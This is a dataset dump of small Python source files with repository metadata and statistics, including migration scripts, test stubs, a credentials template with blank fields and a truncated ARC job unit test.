| 0
| 1
| 0
|
0
| 4
|
543434449a419d39e03a910c6b123b7855d14cf5
| 52
|
py
|
Python
|
migrations/__main__.py
|
thenishantsapkota/aot-api-py
|
eaed7606ea1177be304e55ddd474175797933b3e
|
[
"MIT"
] | 1
|
2022-02-07T05:45:54.000Z
|
2022-02-07T05:45:54.000Z
|
migrations/__main__.py
|
thenishantsapkota/aot-api-py
|
eaed7606ea1177be304e55ddd474175797933b3e
|
[
"MIT"
] | 1
|
2022-02-09T18:00:08.000Z
|
2022-02-10T02:53:13.000Z
|
migrations/__main__.py
|
thenishantsapkota/aot-api-py
|
eaed7606ea1177be304e55ddd474175797933b3e
|
[
"MIT"
] | 1
|
2022-02-08T11:17:54.000Z
|
2022-02-08T11:17:54.000Z
|
from aot_quotes.common.db import migrate
migrate()
| 13
| 40
| 0.807692
| 8
| 52
| 5.125
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115385
| 52
| 3
| 41
| 17.333333
| 0.891304
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
54435f3f5e4621b6b72b297debca5461e652b8af
| 74
|
py
|
Python
|
datasets/__init__.py
|
guptaanmol184/big-data
|
9c490b4754bda2ac7ed0105a457c9fe424209bfb
|
[
"MIT"
] | 12
|
2019-03-23T13:37:01.000Z
|
2022-01-21T09:14:16.000Z
|
datasets/__init__.py
|
guptaanmol184/big-data
|
9c490b4754bda2ac7ed0105a457c9fe424209bfb
|
[
"MIT"
] | 4
|
2019-02-24T08:52:21.000Z
|
2019-04-08T04:39:53.000Z
|
datasets/__init__.py
|
guptaanmol184/big-data
|
9c490b4754bda2ac7ed0105a457c9fe424209bfb
|
[
"MIT"
] | 9
|
2019-03-27T04:48:51.000Z
|
2021-11-12T14:33:23.000Z
|
from .base import load_market_basket
__all__ = [
'load_market_basket',
]
| 14.8
| 36
| 0.77027
| 10
| 74
| 4.9
| 0.7
| 0.408163
| 0.653061
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.135135
| 74
| 5
| 37
| 14.8
| 0.765625
| 0
| 0
| 0
| 0
| 0
| 0.24
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.25
| 0
| 0.25
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
54735c8a49673337ff6f96229618ce2e5cd590fc
| 131
|
py
|
Python
|
Competive Programming/Python/JAGC/tac.py
|
RitamDey/My-Simple-Programs
|
147b455a6a40c371ec894ce979e8a61d242e03bd
|
[
"Unlicense"
] | 2
|
2016-10-14T16:58:05.000Z
|
2017-05-04T04:59:18.000Z
|
Competive Programming/Python/JAGC/tac.py
|
GreenJoey/My-Simple-Programs
|
147b455a6a40c371ec894ce979e8a61d242e03bd
|
[
"Unlicense"
] | null | null | null |
Competive Programming/Python/JAGC/tac.py
|
GreenJoey/My-Simple-Programs
|
147b455a6a40c371ec894ce979e8a61d242e03bd
|
[
"Unlicense"
] | null | null | null |
def tac(x):
try:
tac(input())
print(x)
else:
print(x)
if __name__ == "__main__":
tac(input())
| 13.1
| 26
| 0.458015
| 16
| 131
| 3.25
| 0.625
| 0.307692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.374046
| 131
| 9
| 27
| 14.555556
| 0.634146
| 0
| 0
| 0.5
| 0
| 0
| 0.061069
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.25
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
54823e7390e06eef9ced3d9b12a842dc81aba270
| 234
|
py
|
Python
|
lib/mpnn/__init__.py
|
richardodliu/Factor-Graph-Neural-Network
|
d7d480aa63d1e69cb94128610ec72938cc7873e8
|
[
"MIT"
] | null | null | null |
lib/mpnn/__init__.py
|
richardodliu/Factor-Graph-Neural-Network
|
d7d480aa63d1e69cb94128610ec72938cc7873e8
|
[
"MIT"
] | null | null | null |
lib/mpnn/__init__.py
|
richardodliu/Factor-Graph-Neural-Network
|
d7d480aa63d1e69cb94128610ec72938cc7873e8
|
[
"MIT"
] | 1
|
2021-03-23T12:25:37.000Z
|
2021-03-23T12:25:37.000Z
|
from .mp_nn import mp_conv_v2, mp_conv_type
from .mp_nn_residual import mp_conv_residual
from .ensemble import mp_ensemble
from .sequential import mp_sequential
from .pooling import global_pooling
from .factor_mpnn import factor_mpnn
| 33.428571
| 44
| 0.863248
| 39
| 234
| 4.820513
| 0.358974
| 0.170213
| 0.085106
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004785
| 0.106838
| 234
| 6
| 45
| 39
| 0.894737
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
548b7a342be29a80fb76c87252528240d5779a6f
| 752
|
py
|
Python
|
clients/python/test/test_retention_api.py
|
NNstorm/lakeFS
|
8d8c179cb442290a7ca5020dcf7e95e41301bcf8
|
[
"Apache-2.0"
] | 1
|
2021-09-09T16:21:14.000Z
|
2021-09-09T16:21:14.000Z
|
clients/python/test/test_retention_api.py
|
NNstorm/lakeFS
|
8d8c179cb442290a7ca5020dcf7e95e41301bcf8
|
[
"Apache-2.0"
] | null | null | null |
clients/python/test/test_retention_api.py
|
NNstorm/lakeFS
|
8d8c179cb442290a7ca5020dcf7e95e41301bcf8
|
[
"Apache-2.0"
] | null | null | null |
"""
lakeFS API
lakeFS HTTP API # noqa: E501
The version of the OpenAPI document: 0.1.0
Contact: services@treeverse.io
Generated by: https://openapi-generator.tech
"""
import unittest
import lakefs_client
from lakefs_client.api.retention_api import RetentionApi # noqa: E501
class TestRetentionApi(unittest.TestCase):
"""RetentionApi unit test stubs"""
def setUp(self):
self.api = RetentionApi() # noqa: E501
def tearDown(self):
pass
def test_prepare_retention_commits(self):
"""Test case for prepare_retention_commits
save lists of active and expired commits for garbage collection # noqa: E501
"""
pass
if __name__ == '__main__':
unittest.main()
| 20.324324
| 85
| 0.672872
| 91
| 752
| 5.384615
| 0.571429
| 0.065306
| 0.081633
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02627
| 0.240691
| 752
| 36
| 86
| 20.888889
| 0.831874
| 0.441489
| 0
| 0.166667
| 1
| 0
| 0.021978
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0.166667
| 0.25
| 0
| 0.583333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
54b3654d84f22a25b14c9af59aae16839a2ea2db
| 743
|
py
|
Python
|
feedback_test/unit/surveys/test_surveys.py
|
isabella232/mdc-feedback
|
49579bcc7063af472cc15f6e31a39ae57aaf0422
|
[
"MIT"
] | 4
|
2015-05-11T22:05:46.000Z
|
2015-08-19T18:44:19.000Z
|
feedback_test/unit/surveys/test_surveys.py
|
Code-for-Miami/mdc-inspectors-dashboard
|
5667d1d60a42ed689a26bda8adaea90b9ae1c452
|
[
"MIT"
] | 324
|
2015-05-11T21:46:44.000Z
|
2016-05-17T14:59:19.000Z
|
feedback_test/unit/surveys/test_surveys.py
|
Code-for-Miami/mdc-inspectors-dashboard
|
5667d1d60a42ed689a26bda8adaea90b9ae1c452
|
[
"MIT"
] | 4
|
2016-01-21T09:42:45.000Z
|
2021-04-16T09:51:00.000Z
|
# -*- coding: utf-8 -*-
from mock import Mock, patch
from feedback_test.unit.test_base import BaseTestCase
class TestSurveys(BaseTestCase):
'''
def test_survey_route(self):
request = self.client.get('/surveys')
self.assert200(request)
self.assert_template_used('surveys/index.html')
'''
def test_survey_route_permissions(self):
'''
Test that you can not get in the surveys route w/o logging in
'''
# FIXME: PASSING THIS. WHY DOES THIS TEST CODE NOT RECOGNIZE THE REDIRECT?
'''
self.logout_user()
surveys_url = self.client.get('/surveys')
self.assertTrue('Please log in to access this page' in surveys_url.data)
'''
pass
| 29.72
| 82
| 0.632571
| 94
| 743
| 4.87234
| 0.606383
| 0.030568
| 0.056769
| 0.078603
| 0.104803
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007286
| 0.261104
| 743
| 24
| 83
| 30.958333
| 0.826958
| 0.414536
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.041667
| 0
| 1
| 0.2
| false
| 0.2
| 0.4
| 0
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
49a976a8cfe3ba36c3c859c3cf04a9be1ce0c75e
| 199
|
py
|
Python
|
DMCA/credentials.py
|
jkung2314/InfoSec
|
f2a6ad4ddad2844a3493c057a84989e1ae0a8c50
|
[
"MIT"
] | null | null | null |
DMCA/credentials.py
|
jkung2314/InfoSec
|
f2a6ad4ddad2844a3493c057a84989e1ae0a8c50
|
[
"MIT"
] | null | null | null |
DMCA/credentials.py
|
jkung2314/InfoSec
|
f2a6ad4ddad2844a3493c057a84989e1ae0a8c50
|
[
"MIT"
] | null | null | null |
es_server = ''
es_port =
es_username = ''
es_password = ''
ca_certs = ''
LDAP_USERNAME = ''
LDAP_PASSWORD = ''
UCSC_LDAP_SERVER = ''
UCSC_LDAP_DN = ''
UCSC_LDAP_FIELDS = ['']
UCSC_LDAP_BIND_DN = ""
| 15.307692
| 23
| 0.668342
| 27
| 199
| 4.333333
| 0.444444
| 0.273504
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.165829
| 199
| 12
| 24
| 16.583333
| 0.704819
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.181818
| 0
| null | null | 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
49ab4523cecbd83339426d7dbbf97cb0b66387fd
| 224
|
py
|
Python
|
model/project.py
|
dariansk/python_training_mantis
|
12aeebd31945594a9f8909f40a79a5008db3bed4
|
[
"Apache-2.0"
] | null | null | null |
model/project.py
|
dariansk/python_training_mantis
|
12aeebd31945594a9f8909f40a79a5008db3bed4
|
[
"Apache-2.0"
] | null | null | null |
model/project.py
|
dariansk/python_training_mantis
|
12aeebd31945594a9f8909f40a79a5008db3bed4
|
[
"Apache-2.0"
] | null | null | null |
class Project:
def __init__(self, id=None, x=None):
self.x = x
self.id = id
def __eq__(self, other):
return (self.id is None or other.id is None or self.id == other.id) and self.x == other.x
| 28
| 97
| 0.589286
| 39
| 224
| 3.179487
| 0.358974
| 0.193548
| 0.129032
| 0.16129
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.285714
| 224
| 8
| 97
| 28
| 0.775
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0.166667
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
49b7a4416abfa928f492005790309f63ff2660fa
| 239
|
py
|
Python
|
tests/conftest.py
|
amirothman/deck-of-cards-as-a-service
|
0361b1e8ebc471ea137255c3a48bc19080cec125
|
[
"MIT"
] | 1
|
2020-03-30T20:49:52.000Z
|
2020-03-30T20:49:52.000Z
|
tests/conftest.py
|
amirothman/deck-of-cards-as-a-service
|
0361b1e8ebc471ea137255c3a48bc19080cec125
|
[
"MIT"
] | null | null | null |
tests/conftest.py
|
amirothman/deck-of-cards-as-a-service
|
0361b1e8ebc471ea137255c3a48bc19080cec125
|
[
"MIT"
] | null | null | null |
from tests.integration.endpoint_scenarios.fixtures import (
client,
table_json,
three_players,
three_players_with_cards,
)
__all__ = [
"client",
"table_json",
"three_players",
"three_players_with_cards",
]
| 17.071429
| 59
| 0.690377
| 26
| 239
| 5.769231
| 0.576923
| 0.32
| 0.2
| 0.266667
| 0.64
| 0.64
| 0.64
| 0.64
| 0.64
| 0
| 0
| 0
| 0.209205
| 239
| 13
| 60
| 18.384615
| 0.793651
| 0
| 0
| 0
| 0
| 0
| 0.221757
| 0.100418
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.083333
| 0
| 0.083333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
49ddecc2b9d4221e760f7a0294cd260e4ac0d34d
| 700
|
py
|
Python
|
ImageProcessing/Chipdesc/phitpal.py
|
Datamuseum-DK/R1000.HwDoc
|
cb0841540a4ac184a08957daac1a470b6916a663
|
[
"BSD-2-Clause"
] | null | null | null |
ImageProcessing/Chipdesc/phitpal.py
|
Datamuseum-DK/R1000.HwDoc
|
cb0841540a4ac184a08957daac1a470b6916a663
|
[
"BSD-2-Clause"
] | null | null | null |
ImageProcessing/Chipdesc/phitpal.py
|
Datamuseum-DK/R1000.HwDoc
|
cb0841540a4ac184a08957daac1a470b6916a663
|
[
"BSD-2-Clause"
] | null | null | null |
#!/usr/bin/env python3
''' PAL16L8 - Programmable Logic Device '''
# Different CO/I markings
from Chipdesc.chip import Chip
class PHITPAL(Chip):
''' PAL16L8 - Programmable Logic Device '''
symbol_name = "PHITPAL"
checked = "MEM32 28"
symbol = '''
+--------+
1| |
-->+I0 |
2| |19
-->+I1 O0+-->
3| |12
-->+I2 O1+-->
4| |18
-->+I3 D0+-->
5| |17
-->+I4 D1+-->
6| |16
-->+I5 D2+-->
7| |15
-->+I6 D3+-->
8| |14
-->+I7 D4+-->
9| |13
-->+I8 D5+-->
11| |
-->+I9 xnn |
| |
| _ |
+--------+
'''
if __name__ == "__main__":
PHITPAL().main()
| 15.217391
| 47
| 0.388571
| 73
| 700
| 3.589041
| 0.849315
| 0.145038
| 0.183206
| 0.229008
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.127854
| 0.374286
| 700
| 45
| 48
| 15.555556
| 0.47032
| 0.17
| 0
| 0.0625
| 0
| 0
| 0.705467
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.03125
| 0
| 0.15625
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
49e32e41075f91e0d1202d7fc8612803d9f282f7
| 72
|
py
|
Python
|
MillerArrays/millerArrayDictColumnLabels.py
|
MooersLab/jupyterlabcctbxsnips
|
c5f0947b4e8c4e5839b9b6b15c81c62915103155
|
[
"MIT"
] | null | null | null |
MillerArrays/millerArrayDictColumnLabels.py
|
MooersLab/jupyterlabcctbxsnips
|
c5f0947b4e8c4e5839b9b6b15c81c62915103155
|
[
"MIT"
] | null | null | null |
MillerArrays/millerArrayDictColumnLabels.py
|
MooersLab/jupyterlabcctbxsnips
|
c5f0947b4e8c4e5839b9b6b15c81c62915103155
|
[
"MIT"
] | null | null | null |
[print(f"Column label: {key[2]") for key in miller_arrays_dict.keys()]
| 36
| 71
| 0.708333
| 13
| 72
| 3.769231
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.015625
| 0.111111
| 72
| 1
| 72
| 72
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0.291667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
49faa685a46cdb8b0c212ffafd1a8e81b795deaf
| 28
|
py
|
Python
|
data/studio21_generated/introductory/2783/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/introductory/2783/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/introductory/2783/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
def get_grade(s1, s2, s3):
| 14
| 26
| 0.642857
| 6
| 28
| 2.833333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.130435
| 0.178571
| 28
| 2
| 27
| 14
| 0.608696
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b70edcad4c15f6c77c5db9333fe8b952a78ca438
| 64
|
py
|
Python
|
Python/hello_world_tr.py
|
PiranavanShanmugavadivelu/Hello-world
|
a4198b1714b0dcf27fcc0029eb838a47e3e234f5
|
[
"MIT"
] | 1
|
2018-12-25T14:02:08.000Z
|
2018-12-25T14:02:08.000Z
|
Python/hello_world_tr.py
|
PiranavanShanmugavadivelu/Hello-world
|
a4198b1714b0dcf27fcc0029eb838a47e3e234f5
|
[
"MIT"
] | null | null | null |
Python/hello_world_tr.py
|
PiranavanShanmugavadivelu/Hello-world
|
a4198b1714b0dcf27fcc0029eb838a47e3e234f5
|
[
"MIT"
] | null | null | null |
#Program to print hello world in Turkish
print("Merhaba Dünya!")
| 32
| 40
| 0.78125
| 10
| 64
| 5
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 64
| 2
| 41
| 32
| 0.892857
| 0.609375
| 0
| 0
| 0
| 0
| 0.56
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
3f85cb5df4604b4a0d981ca020f6a35a0aa44666
| 75
|
py
|
Python
|
python/example/8_exit_code_with_sleep.py
|
donarts/sourcecode
|
8fe85663a3f2f4a0561bab5950178afefbe82e9a
|
[
"MIT"
] | null | null | null |
python/example/8_exit_code_with_sleep.py
|
donarts/sourcecode
|
8fe85663a3f2f4a0561bab5950178afefbe82e9a
|
[
"MIT"
] | null | null | null |
python/example/8_exit_code_with_sleep.py
|
donarts/sourcecode
|
8fe85663a3f2f4a0561bab5950178afefbe82e9a
|
[
"MIT"
] | null | null | null |
import time
print ("Sleep 5 seconds from now on...")
time.sleep(5)
exit(88)
| 18.75
| 40
| 0.706667
| 14
| 75
| 3.785714
| 0.785714
| 0.226415
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.061538
| 0.133333
| 75
| 4
| 41
| 18.75
| 0.753846
| 0
| 0
| 0
| 0
| 0
| 0.394737
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.25
| 0
| 0.25
| 0.25
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3f9a3dd824d52e69e39b645b13ee49cd317cecc4
| 832
|
py
|
Python
|
nanome/_internal/_network/_commands/_serialization/_ui/_get_menu_transform_response.py
|
rramji/nanome-lib
|
2806598af31cfb4bb6e16366f0b300d2ddcc9c13
|
[
"MIT"
] | 3
|
2020-07-02T13:08:27.000Z
|
2021-11-24T14:32:53.000Z
|
nanome/_internal/_network/_commands/_serialization/_ui/_get_menu_transform_response.py
|
rramji/nanome-lib
|
2806598af31cfb4bb6e16366f0b300d2ddcc9c13
|
[
"MIT"
] | 11
|
2020-09-14T17:01:47.000Z
|
2022-02-18T04:00:52.000Z
|
nanome/_internal/_network/_commands/_serialization/_ui/_get_menu_transform_response.py
|
rramji/nanome-lib
|
2806598af31cfb4bb6e16366f0b300d2ddcc9c13
|
[
"MIT"
] | 5
|
2020-08-12T16:30:03.000Z
|
2021-12-06T18:04:23.000Z
|
from nanome._internal._util._serializers import _TypeSerializer, _UnityPositionSerializer, _UnityRotationSerializer, _Vector3Serializer
class _GetMenuTransformResponse(_TypeSerializer):
def __init__(self):
self.pos = _UnityPositionSerializer()
self.rot = _UnityRotationSerializer()
self.vec3 = _Vector3Serializer()
def version(self):
return 0
def name(self):
return "GetMenuTransformResponse"
def serialize(self, version, value, context):
pass
def deserialize(self, version, context):
menu_position = context.read_using_serializer(self.pos)
menu_rotation = context.read_using_serializer(self.rot)
menu_scale = context.read_using_serializer(self.vec3)
result = (menu_position, menu_rotation, menu_scale)
return result
| 32
| 135
| 0.721154
| 80
| 832
| 7.15
| 0.4375
| 0.057692
| 0.083916
| 0.136364
| 0.157343
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007541
| 0.203125
| 832
| 25
| 136
| 33.28
| 0.855204
| 0
| 0
| 0
| 0
| 0
| 0.028846
| 0.028846
| 0
| 0
| 0
| 0
| 0
| 1
| 0.277778
| false
| 0.055556
| 0.055556
| 0.111111
| 0.555556
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
3faf8098f1b34f66dd3ccbd52dd9534edb0c63e0
| 160
|
py
|
Python
|
test/__init__.py
|
ri0t/SecretColors
|
a6971e22e9f8070c41ecd62c4a5c50386ce26321
|
[
"MIT"
] | 32
|
2019-06-03T08:45:33.000Z
|
2022-02-03T15:06:59.000Z
|
test/__init__.py
|
ri0t/SecretColors
|
a6971e22e9f8070c41ecd62c4a5c50386ce26321
|
[
"MIT"
] | 7
|
2019-11-19T08:39:06.000Z
|
2022-03-29T14:04:47.000Z
|
test/__init__.py
|
ri0t/SecretColors
|
a6971e22e9f8070c41ecd62c4a5c50386ce26321
|
[
"MIT"
] | 5
|
2019-06-04T09:18:14.000Z
|
2022-03-15T05:30:14.000Z
|
# Copyright (c) SecretBiology 2019.
#
# Library Name: SecretColors
# Author: Rohit Suratekar
# Website: https://github.com/secretBiology/SecretColors
#
#
| 17.777778
| 57
| 0.725
| 16
| 160
| 7.25
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02963
| 0.15625
| 160
| 8
| 58
| 20
| 0.82963
| 0.89375
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3fb79c639ecbb82ab8d0229ac29eea14eddda77e
| 16,956
|
py
|
Python
|
arc/job/jobTest.py
|
amarkpayne/ARC
|
fcc3bc0050f50a81c02192f72aaa31ea47d29818
|
[
"MIT"
] | null | null | null |
arc/job/jobTest.py
|
amarkpayne/ARC
|
fcc3bc0050f50a81c02192f72aaa31ea47d29818
|
[
"MIT"
] | null | null | null |
arc/job/jobTest.py
|
amarkpayne/ARC
|
fcc3bc0050f50a81c02192f72aaa31ea47d29818
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
# encoding: utf-8
"""
This module contains unit tests of the arc.job.job module
"""
import datetime
import math
import os
import shutil
import unittest
from arc.job.job import Job
from arc.settings import arc_path
class TestJob(unittest.TestCase):
"""
Contains unit tests for the Job class
"""
@classmethod
def setUpClass(cls):
"""
A method that is run before all unit tests in this class.
"""
cls.maxDiff = None
cls.ess_settings = {'gaussian': ['server1', 'server2'], 'molpro': ['server2'],
'qchem': ['server1'], 'onedmin': ['server1']}
cls.xyz_c = {'symbols': ('C',), 'isotopes': (12,), 'coords': ((0.0, 0.0, 0.0),)}
cls.job1 = Job(project='arc_project_for_testing_delete_after_usage3', ess_settings=cls.ess_settings,
species_name='tst_spc', xyz=cls.xyz_c, job_type='opt', level_of_theory='b3lyp/6-31+g(d)',
multiplicity=1, fine=True, job_num=100,
testing=True, project_directory=os.path.join(arc_path, 'Projects', 'project_test'))
cls.job1.initial_time = datetime.datetime(2019, 3, 15, 19, 53, 7, 0)
cls.job1.final_time = datetime.datetime(2019, 3, 15, 19, 53, 8, 0)
cls.job1.determine_run_time()
def test_as_dict(self):
"""Test Job.as_dict()"""
job_dict = self.job1.as_dict()
initial_time = job_dict['initial_time']
final_time = job_dict['final_time']
expected_dict = {'initial_time': initial_time,
'final_time': final_time,
'cpu_cores': 8,
'ess_settings': {'gaussian': ['server1', 'server2'],
'molpro': [u'server2'], 'onedmin': [u'server1'], 'qchem': [u'server1']},
'species_name': 'tst_spc',
'is_ts': False,
'fine': True,
'job_id': 0,
'job_name': 'opt_a100',
'job_num': 100,
'job_server_name': 'a100',
'job_status': ['initializing',
{'status': 'initializing', 'keywords': list(), 'error': '', 'line': ''}],
'job_type': 'opt',
'level_of_theory': 'b3lyp/6-31+g(d)',
'total_job_memory_gb': 14,
'multiplicity': 1,
'project': 'arc_project_for_testing_delete_after_usage3',
'project_directory': os.path.join(arc_path, 'Projects', 'project_test'),
'server': 'server1',
'max_job_time': 120,
'scan_res': 8.0,
'software': 'gaussian',
'xyz': 'C 0.00000000 0.00000000 0.00000000'}
self.assertEqual(job_dict, expected_dict)
def test_from_dict(self):
"""Test Job.from_dict()"""
job_dict = self.job1.as_dict()
job = Job(job_dict=job_dict)
self.assertEqual(job.multiplicity, 1)
self.assertEqual(job.charge, 0)
self.assertEqual(job.species_name, 'tst_spc')
self.assertEqual(job.server, 'server1')
self.assertEqual(job.level_of_theory, 'm062x/6-311g')
self.assertEqual(job.job_type, 'scan')
self.assertEqual(job.project_directory.split('/')[-1], 'project_test')
self.assertEqual(job.method, 'm062x')
self.assertEqual(job.basis_set, '6-311g')
self.assertFalse(job.is_ts)
def test_automatic_ess_assignment(self):
"""Test that the Job module correctly assigns a software for specific methods and basis sets"""
job0 = Job(project='project_test', ess_settings=self.ess_settings, species_name='tst_spc', xyz=self.xyz_c,
